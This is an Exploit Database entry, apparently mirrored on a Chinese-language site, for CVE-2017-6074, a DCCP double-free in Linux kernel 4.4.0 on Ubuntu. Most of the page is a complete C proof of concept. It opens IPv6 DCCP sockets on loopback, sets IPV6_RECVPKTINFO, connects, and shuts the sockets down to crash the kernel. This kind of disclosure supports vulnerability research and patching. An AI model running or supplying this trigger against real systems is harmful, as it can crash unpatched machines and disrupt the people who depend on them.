Linux Kernel 4.4.0 (Ubuntu) – DCCP Double-Free (PoC)

• Exploit Database
• 128 阅读

• 作者： Andrey Konovalov
  日期： 2017-02-26
• 类别：

  • dos
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/41457/
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  // // EDB Note: More information ~ http://seclists.org/oss-sec/2017/q1/471 // // A trigger for CVE-2017-6074, crashes kernel. // Tested on 4.4.0-62-generic #83-Ubuntu kernel. // https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-6074 // // Andrey Konovalov <andreyknvl@gmail.com>   #define _GNU_SOURCE   #include <netinet/ip.h>   #include <sys/ioctl.h> #include <sys/mman.h> #include <sys/socket.h> #include <sys/stat.h> #include <sys/syscall.h> #include <sys/types.h>   #include <stdarg.h> #include <stdbool.h> #include <stddef.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h>   #include <arpa/inet.h>   int main() { struct sockaddr_in6 sa1; sa1.sin6_family = AF_INET6; sa1.sin6_port = htons(20002); inet_pton(AF_INET6, "::1", &sa1.sin6_addr); sa1.sin6_flowinfo = 0; sa1.sin6_scope_id = 0; int optval = 8;   int s1 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP); bind(s1, &sa1, 0x20); listen(s1, 0x9);   setsockopt(s1, IPPROTO_IPV6, IPV6_RECVPKTINFO, &optval, 4);   int s2 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP); connect(s2, &sa1, 0x20);   shutdown(s1, SHUT_RDWR); close(s1); shutdown(s2, SHUT_RDWR); close(s2);   return 0; }